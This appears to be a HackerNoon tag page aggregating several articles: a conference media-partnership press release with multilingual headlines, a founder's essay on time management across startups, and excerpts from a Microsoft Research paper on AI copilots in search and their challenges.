opportunities for networking and collaboration. HackerNoon , serving as the event’s media partner, played a crucial role in amplifying the reach and engagement of the conference, leveraging its extensive tech and business journalism expertise to highlight the event’s key moments and insights. Dubai, UAE — March 26, 2024- The 2.0 Conferences HackerNoon The essence of The 2.0 Conferences lies in its gathering of forward-thinking professionals across various industries. It promotes innovation and strategic thinking by connecting attendees with experts and thought leaders. This initiative is rooted in a mission to encourage creative problem-solving, promote new perspectives, and facilitate the sharing of groundbreaking ideas. The conference offers more than just presentations; it’s a platform for building lasting professional connections and sharing valuable experiences. HackerNoon, known for its commitment to providing a space for technologists to share knowledge and ideas, significantly contributed to the success of The 2.0 Conferences. With a community of over 45,000 writers and 4 million monthly readers, HackerNoon ensured that the insights and innovations shared at the conference reached a broader audience. This collaboration allowed for dissemination of cutting-edge ideas and strategies discussed during the event, making the content accessible to a global community interested in technological advancements and industry trends. “The collaboration with HackerNoon brought a new dimension to our conference. Their coverage extended our reach and helped highlight the significant contributions and insights shared by our speakers and participants,” commented Yashasvi Kapoor, Manager of Delegate Relations at The 2.0 Conferences. “The collaboration with HackerNoon brought a new dimension to our conference. Their coverage extended our reach and helped highlight the significant contributions and insights shared by our speakers and participants,” commented Yashasvi Kapoor, Manager of Delegate Relations at The 2.0 Conferences. This strategic collaboration between HackerNoon and The 2.0 Conferences brought tangible benefits to the table, enhancing the attendee experience and broadening the event’s influence. The partnership ensured the conferences’ innovative ideas reached a global audience, harnessing a deeper understanding and appreciation of the potential to shape the future. About The 2.0 Conferences About The 2.0 Conferences The 2.0 Conferences is dedicated to bringing together thought leaders and innovators from various sectors to share ideas, strategies, and insights. Focusing on promoting innovation and strategic thinking, the conference series aims to inspire change and drive progress across multiple industries. Our commitment to creating meaningful connections and learning opportunities ensures a valuable and impactful experience for all participants. For more information, check out their website- www.the2conf.com . www.the2conf.com

The 2.0 Conferences Spark Global Conversations With HackerNoon As Esteemed Media Partner

2.0 সম্মেলনগুলি সম্মানিত মিডিয়া পার্টনার হিসাবে হ্যাকারনুন-এর সাথে বিশ্বব্যাপী কথোপকথন শুরু করে

Die 2.0-Konferenzen lösen weltweite Gespräche aus, mit HackerNoon als geschätztem Medienpartner

Las conferencias 2.0 provocan conversaciones globales con HackerNoon como estimado socio de medios

Les conférences 2.0 suscitent des conversations mondiales avec HackerNoon comme partenaire média estimé

2.0 सम्मेलन ने हैकरनून के साथ वैश्विक स्तर पर चर्चा को बढ़ावा दिया, जो एक प्रतिष्ठित मीडिया पार्टनर है

2.0カンファレンスはHackerNoonを信頼のメディアパートナーとして迎え、世界的な会話を巻き起こす

2.0 컨퍼런스는 존경받는 미디어 파트너인 HackerNoon과 함께 글로벌 대화를 촉발합니다

As conferências 2.0 geram conversas globais com HackerNoon como estimado parceiro de mídia

Конференции 2.0 вызывают глобальные дискуссии с HackerNoon в качестве уважаемого медиа-партнера

2.0 Konferansları, Değerli Medya Ortağı HackerNoon ile Küresel Konuşmaları Ateşliyor

Hội nghị 2.0 khơi dậy các cuộc trò chuyện toàn cầu với HackerNoon với tư cách là đối tác truyền thông đáng kính

2.0 会议引发全球对话，HackerNoon 成为受人尊敬的媒体合作伙伴

The headline might be a slight exaggeration — I'm not Elon Musk. However, I am bootstrapping a venture studio called Evernomic with a focus on the media industry. Our portfolio includes several newsletters, media brands, SaaS projects, service-based startups, high-authority websites, external contracts, and more. Evernomic is also quite a unique organization when it comes to our team and how we allocate our time and resources. Our team is now comprised of over 20 people, with the oldest being 26 years old and the average age is just over 21 years old. Such a young team has its advantages, but it also comes with the drawbacks associated with the stereotypes often held against younger people in business. At the end of the day, we don't have that chronological experience behind us, which also applies to time management. In addition, one value we all share is despising a future of becoming one-dimensional. We don't just aspire to be successful at business or any other aspect of life. We exercise and take care of our health, we spend much of our time learning new things, we like to socialize and make memories, we pay attention to how we present ourselves, and we pursue hobbies such as writing and public speaking. Now, this begs the question of how we manage our time so as not to fall behind on our responsibilities. Maintenance and Expansion Framework I have developed what I call the Maintenance and Expansion Framework. I divide my workload and things that require headspace into two categories: Maintenance: ongoing commitments requiring my continued attention on a regular basis that are necessary for me to keep going in the same trajectory. In short, these are things I must do to maintain my current progress.
Expansion: one-time or open-ended tasks that improve the overall condition of my life, whether it's in business, fitness, or happiness. This may sound controversial to openly admit, but I avoid commitments, otherwise defined as Maintenance Tasks, at all costs. That's the danger zone. It takes away from my ability to expand and take on more things when I'm faced with better opportunities in the future. I always prefer to leave some free margin to try new things, waste some time, let things go wrong without detrimental consequences, and so on. Therefore, I'm very picky with the things I commit to, and I try to minimize them. Conversely, I'm unafraid of the Expansion side of things. I can take on several things simultaneously as long as I know it will be over soon. The only decisions that truly concern me are those that lock me into a certain future. A typical day for me includes my daily routine, immediately tackling my Maintenance Tasks and later tackling three or four Expansion Tasks at a time. This division gives a game-changing order to my life. I know what the bare minimum of what I should be doing is, and it lets me focus on multiple domains within my life and business simultaneously. Collaborative Portfolio In addition to how I personally approach time management, our strategy revolves around creating a system that goes "full circle." This means that every project we take on must contribute in one way or another to other projects in our portfolio as well. I wrote a post some time ago about how, with this approach, we technically have more than 24 hours in a day because every hour we spend on one project also leads to some sort of progress for our other projects. To give you an example, we are planning on launching an ad network in the following months. What's the biggest challenge with such a business? Finding sufficient creators and advertisers to make the marketplace functional — the chicken and egg problem. Looking at companies who have been most successful at growing an ad network, such as Alphabet or Meta, they have always had at least one side of the equation satisfied prior. In Meta's case, they already had access to a large audience who were using their free products before they began rolling out advertisements. Over a year prior to our scheduled launch date, we acquired FindNewsletters.com, an authority newsletter directory. We have yet to make a penny off of this acquisition. However, we now have direct contacts with most newsletter creators, which gives us an extensive creator network to start with. Our job is now much simpler; we only need to find advertisers. Within Evernomic, we try to build similar systems and frameworks through which we push our projects that give us a streamlined and efficient approach. Moreover, tasks get delegated effectively, which minimizes commitments to low-yield tasks among our more experienced members. Naturally, focusing on so many things simultaneously has its drawbacks, too. I often fail to match deadlines, I often don't end up acting on plans I've had, and I often don't reach my goals. In fact, at any given moment, I'm probably not doing too well. However, I've learned that time has a magic of its own. Whenever I've looked back at my progress over a few months, I was pleasantly surprised. Now, I trust the process and keep pushing forward regardless. The headline might be a slight exaggeration — I'm not Elon Musk. However, I am bootstrapping a venture studio called Evernomic with a focus on the media industry. Our portfolio includes several newsletters, media brands, SaaS projects, service-based startups, high-authority websites, external contracts, and more. Evernomic is also quite a unique organization when it comes to our team and how we allocate our time and resources. Our team is now comprised of over 20 people, with the oldest being 26 years old and the average age is just over 21 years old. Such a young team has its advantages, but it also comes with the drawbacks associated with the stereotypes often held against younger people in business. At the end of the day, we don't have that chronological experience behind us, which also applies to time management. In addition, one value we all share is despising a future of becoming one-dimensional. We don't just aspire to be successful at business or any other aspect of life. We exercise and take care of our health, we spend much of our time learning new things, we like to socialize and make memories, we pay attention to how we present ourselves, and we pursue hobbies such as writing and public speaking. Now, this begs the question of how we manage our time so as not to fall behind on our responsibilities. Maintenance and Expansion Framework I have developed what I call the Maintenance and Expansion Framework. I divide my workload and things that require headspace into two categories: Maintenance: ongoing commitments requiring my continued attention on a regular basis that are necessary for me to keep going in the same trajectory. In short, these are things I must do to maintain my current progress. Expansion: one-time or open-ended tasks that improve the overall condition of my life, whether it's in business, fitness, or happiness. Maintenance: ongoing commitments requiring my continued attention on a regular basis that are necessary for me to keep going in the same trajectory. In short, these are things I must do to maintain my current progress. Maintenance: Expansion: one-time or open-ended tasks that improve the overall condition of my life, whether it's in business, fitness, or happiness. Expansion: This may sound controversial to openly admit, but I avoid commitments, otherwise defined as Maintenance Tasks, at all costs. That's the danger zone. It takes away from my ability to expand and take on more things when I'm faced with better opportunities in the future. I always prefer to leave some free margin to try new things, waste some time, let things go wrong without detrimental consequences, and so on. Therefore, I'm very picky with the things I commit to, and I try to minimize them. Conversely, I'm unafraid of the Expansion side of things. I can take on several things simultaneously as long as I know it will be over soon. The only decisions that truly concern me are those that lock me into a certain future. A typical day for me includes my daily routine, immediately tackling my Maintenance Tasks and later tackling three or four Expansion Tasks at a time. This division gives a game-changing order to my life. I know what the bare minimum of what I should be doing is, and it lets me focus on multiple domains within my life and business simultaneously. Collaborative Portfolio In addition to how I personally approach time management, our strategy revolves around creating a system that goes "full circle." This means that every project we take on must contribute in one way or another to other projects in our portfolio as well. I wrote a post some time ago about how, with this approach, we technically have more than 24 hours in a day because every hour we spend on one project also leads to some sort of progress for our other projects. To give you an example, we are planning on launching an ad network in the following months. What's the biggest challenge with such a business? Finding sufficient creators and advertisers to make the marketplace functional — the chicken and egg problem. Looking at companies who have been most successful at growing an ad network, such as Alphabet or Meta, they have always had at least one side of the equation satisfied prior. In Meta's case, they already had access to a large audience who were using their free products before they began rolling out advertisements. Over a year prior to our scheduled launch date, we acquired FindNewsletters.com, an authority newsletter directory. We have yet to make a penny off of this acquisition. However, we now have direct contacts with most newsletter creators, which gives us an extensive creator network to start with. Our job is now much simpler; we only need to find advertisers. Within Evernomic, we try to build similar systems and frameworks through which we push our projects that give us a streamlined and efficient approach. Moreover, tasks get delegated effectively, which minimizes commitments to low-yield tasks among our more experienced members. Naturally, focusing on so many things simultaneously has its drawbacks, too. I often fail to match deadlines, I often don't end up acting on plans I've had, and I often don't reach my goals. In fact, at any given moment, I'm probably not doing too well. However, I've learned that time has a magic of its own. Whenever I've looked back at my progress over a few months, I was pleasantly surprised. Now, I trust the process and keep pushing forward regardless.

How I Manage Over a Dozen Startups

This paper is under CC 4.0 license. available on arxiv : Authors (1) Ryen W. White, Microsoft Research, Redmond, WA, USA. Table of Links Abstract and Taking Search to task AI Copilots Challenges Opportunities The Undiscovered Country and References 3 CHALLENGES Despite the promise of copilots, there are significant challenges that should be acknowledged and we must find ways to overcome. Those include issues with the copilot output shown in response to searcher requests, the impacts that the copilots can have on searchers, and shifts in the degree of agency that humans have in the search process that result from the introduction of copilots. • : Searchers rely a lot on the answers from copilots,but those answers can be erroneous or non-sensical. So-called“hallucination” is a well-studied problem in foundation models [24]. Copilots can hallucinate for many reasons. One of the main reasons being gaps in the training data. RAG, discussed earlier, is a way to help address this by ensuring that the copilot has access to up-to-date, relevant information at inference time to help ground its responses. Injection of knowledge from other external sources, such as knowledge graphs and Wikipedia, can also help improve the accuracy of copilot responses. An issue related to copilots surfacing misinformation is toxicity (i.e., offensive or harmful content), which can also be present in the copilot output, and must be mitigated before answers are shown to searchers. Hallucinations • : Biases in the training data, e.g., social biases and stereotypes [31], affect the output of foundation models and hence the answers provided by copilots. Synthesis of content from different sources can amplify biases in this data. As with hallucinations, this is a well-studied problem [6]. Copilots are also subject to biases from learning from their own or other AI generated content (via feedback loops); biased historical sequences lead to biased downstream models. Copilots may also amplify existing cognitive biases, such as confirmation bias, by favoring responses that are aligned with searchers’ existing beliefs and values, and by providing responses that keep searchers engaged with the copilot, regardless of the ramifications for the searcher. Biases Learning may be affected/interrupted by the use of AI copilots since they remove the need for searchers to engage as fully with the search system and the information retrieved. Learning is already a core part of the search process [32, 37, 54]. Both exploratory search and search as learning involve considerable time and effort in finding and examining relevant content. While this could be viewed as a cost, this deep exposure to content also helps people learn. As mentioned earlier, copilot users can ask richer questions (allowing them to specify their tasks and goals more fully) but they then receive synthesized answers generated by the copilot, creating fewer, new, or simply different learning opportunities for humans that must be understood. • Human learning: Supporting search requires considering the degree of searcher involvement in the search process, which varies depending on the search task [2]. Copilots enable more strategic, • Human control: higher-order actions (higher up the “task tree” from Figure 1 than typical interactions with search systems). It is clear that searchers want control over the search process. They want to know what information is/not being included and why. This helps them understand and trust system output. As things stand, copilot users delegate full control of answer generation to the AI, but the rest is mixed, i.e., less control of search mechanics (queries, etc.) but more control of task specifications (via natural language and dialog). There is more than just a basic tension between automation and control. In reality, it is not a zero sum game. Designers of copilots need to ensure human control while increasing automation [44]. New frameworks for task completion are moving in this direction. For example, AutoGen [67], uses multiple specialized assistive AI copilots that engage with humans and with each other directly to help complete complex tasks, with humans staying informed and in control throughout. Overall, these are just a few of the challenges that affect the viability of copilots. There are other challenges, such as deeply ingrained search habits that may be a barrier to the adoption of new search functionality, despite the clear benefits to searchers.

Navigating Complex Search Tasks with AI Copilots: Challenges

This paper is under CC 4.0 license. available on arxiv Authors: (1) Ryen W. White, Microsoft Research, Redmond, WA, USA. Table of Links Abstract and Taking Search to task AI Copilots Challenges Opportunities The Undiscovered Country and References 2 AI COPILOTS Copilots[6] are applications of modern AI (foundation models, etc.) to help people with complex cognitive tasks. Copilots have conversational user interfaces and their users engage with them via natural language, they are powered by foundation models such as GPT-4, they are extensible with skills/tools/plugins, and they are scoped to specialized domains or applications (including search). Copilots are designed to to keep humans at the center of the task completion process and augment human capabilities to help them complete a broader range of tasks in less time. The Microsoft copilot stack (Figure 2) contains four main layers: (1) The copilot frontend, covering the user experience and extensibility with plugins, enabling developers to provide additional visible tools to the copilot; (2) The orchestration layer that handles the internal information flows, prompting, grounding, executing the plugins and processing their responses, among other things; (3) Copilots leverage the power of large foundation models that can be provided to the developer as is, specialized to specific tasks, domains, or applications, or developers can bring their own models to use to power copilot functionality, and; (4) This all runs on top of massive scale AI infrastructure hosted in the cloud on Azure. Underpinning all of this is Microsoft’s strong commitment to responsible AI, which ensures that copilots are safe, secure, and transparent, via an iterative, layered approach with mitigations spanning the model, prompts, grounding, and the user experience. Examples of copilots include GitHub Copilot,[7] an AI pair programmer that has been shown to reduce developer effort, enable more task success, and significantly expedite task completion [5]. Copilots are also emerging in search. Popular Web search engines such as Bing and Google are adding copilot functionalities to their search engines in the form of conversational agents such as Bing Chat and Google BARD. In search, copilots can help searchers to tackle a broader range of tasks than information finding and go deeper than surface (SERP-level) interactions with content by synthesizing answers on the searcher’s behalf. They also enable searchers to communicate their intents and goals more directly. Returning to the task tree (Figure 1), the focus on engaging copilots via natural language interactions allows both searchers and systems to consider higher-level task representations (macrotasks, subtasks) in addition to the more granular actions (queries, result clicks, pagination, and so on) that searchers already perform when engaging with traditional search engines. 2.1 Copilots in Search Copilots and chat experiences are a complement not a replacement to traditional search engines. Search engines have been around for decades and serve a valuable purpose: providing near instantaneous access to answers and resources for a broad range of search requests. These existing and emerging modalities can and should work well together to help searchers tackle a wider range of tasks. The capabilities of copilots to better understand intentions and provide assistance beyond fact finding and basic learning/investigation will expand the task frontier, broadening the range of complex search tasks that can be completed, e.g., direct support for tasks requiring creative inspiration (Figure 3). This all moves us a step closer toward intelligent search systems that can help with all-task completion, covering the full universe of tasks for which people might need search support. One way to define the range of tasks that copilots can support is though Bloom’s taxonomy of learning objectives [27]. Creation is at the pinnacle of that taxonomy and we have only scratched the surface in creativity support with next-word prediction through transformer models [16]. We are already seeing expansions into modalities beyond text (images, video, audio, and so on) and could consider support for other creative tasks including planning, analysis, and invention. There are also many other layers in Bloom’s taxonomy (e.g., evaluation - help searchers make judgments and decisions, application - help searchers complete new tasks, understanding - explain ideas and concepts to accelerate learning) that could form future task frontiers. Beyond greater capabilities, the introduction of copilots into search will also change how people will engage with search systems. In copilots, the mode of interaction is primarily natural language input, with some recent expansion toward multimodal inputs and outputs via the introduction of diffusion models such as DALL·E. Copilots can generate/synthesize direct answers, with source attribution for provenance, to build trust with users, and to drive traffic back to content creators, which is important to incentivize further content creation that fuels future foundation models. The overall search interaction flow is also different between search engines and copilots. When using copilots, searchers do not need to decompose their goal into sub-goals or sub-queries, examine SERPs and landing pages, and aggregate/synthesize relevant knowledge from retrieved information. Figure 4 has a comparison of the information seeking processes in the two modalities. In copilots, the responsibility for generating answers is delegated by the searcher to the system, which is not without its challenges in terms of human agency and human learning, as we discuss later in this article. 2.2 Adding Copilots to Search Engines It is not practical nor necessary to deploy copilots for all search tasks. Foundation model inference is expensive at massive scale and search engine algorithms have been honed over decades to provide relevant results for a broad range of tasks (e.g., navigation, factfinding). Conversational interfaces are less familiar for searchers and it will take time for searchers to adapt to this way of searching. Traditional search engines are sufficient when searchers know exactly what they want. Copilots are helpful for more complex search tasks or in situations where searchers may be struggling to find relevant information. Task complexity can be estimated using aggregate metrics such as the amount of engagement with the search engine (e.g., number of query reformulations) for similar tasks historically. As generative AI appears in more applications and searchers better understand search copilot capabilities, the tasks that searchers bring to search copilots will likely evolve. We will also see a growth in search experiences that unify traditional search and copilots. In a step towards this, search engines such as Bing and Google are already integrating dynamic answers from foundation models into their SERPs for some informational queries. Also, in the Google copilot (BARD), search results are displayed immediately below the copilot responses, allowing searchers to easily engage with them as desired. In the Bing copilot (Bing Chat), the search and copilot experiences are more separated and searchers must select a specific modality based on their task and personal preferences. Bing also provides searchers with control over other aspects, such as conversation style and tone, although it is not clear that searchers are sufficiently familiar with AI copilots at this time to use these nuanced controls effectively. Search copilots such as Bing Chat use retrieval augmented generation (RAG) [28] to ground copilot responses via timely and relevant results. This has many advantages, including: (1) There is no need to retrain the massive foundation model over time; (2) Search results provide relevant and fresh information to foundation models, and; (3) It provides a provenance signal linking generated content with online sources. In response to a searcher prompt, the foundation model generates internal queries iteratively that are used to retrieve the results that form context for the copilot answers created using generative AI. Displaying these queries to searchers inline in the dialog (as in Bing Chat) creates greater transparency and helps build trust with searchers that the system is understanding their tasks and goals. The Bing orchestrator can also pull in relevant instant answers from the search engine such as weather, stock, sports, and so on, and display those in copilot responses instead of or in addition to the answers generated by the foundation model. Figure 5 shows the high-level search process from query (+ conversation context) to the answer, and the role of various key system components. Copilots also enable search engines to support more complex search tasks. Using search alone would require more searcher effort to examine search results and manually generate answers or insights (see recent work on the Delphic costs and benefits of search [9]). Of course, there are different perspectives on task complexity, e.g., the copilot perspective (denoting the amount of computation, requests, etc. required for the system to complete the task) and the searcher perspective (denoting the amount of manual effort required for the human searcher to generate an answer and complete a task). Table 1 considers the task complexity from these two different perspectives and (again drawing from Bloom’s taxonomy) provides some current, anecdotal examples of the types of tasks that both searcher and systems may find to be more or less complex. Assuming that foundational model costs will drop and sophistication will increase, we focus here on the task complexity for searchers. [6] Copilots is the Microsoft terminology for an AI-powered digital assistant designed to  work alongside humans to augment their cognitive capabilities. [7] https://github.com/features/copilot

Stories, News & Mentions about DELEGATE

Delegate’s Stories on HackerNoon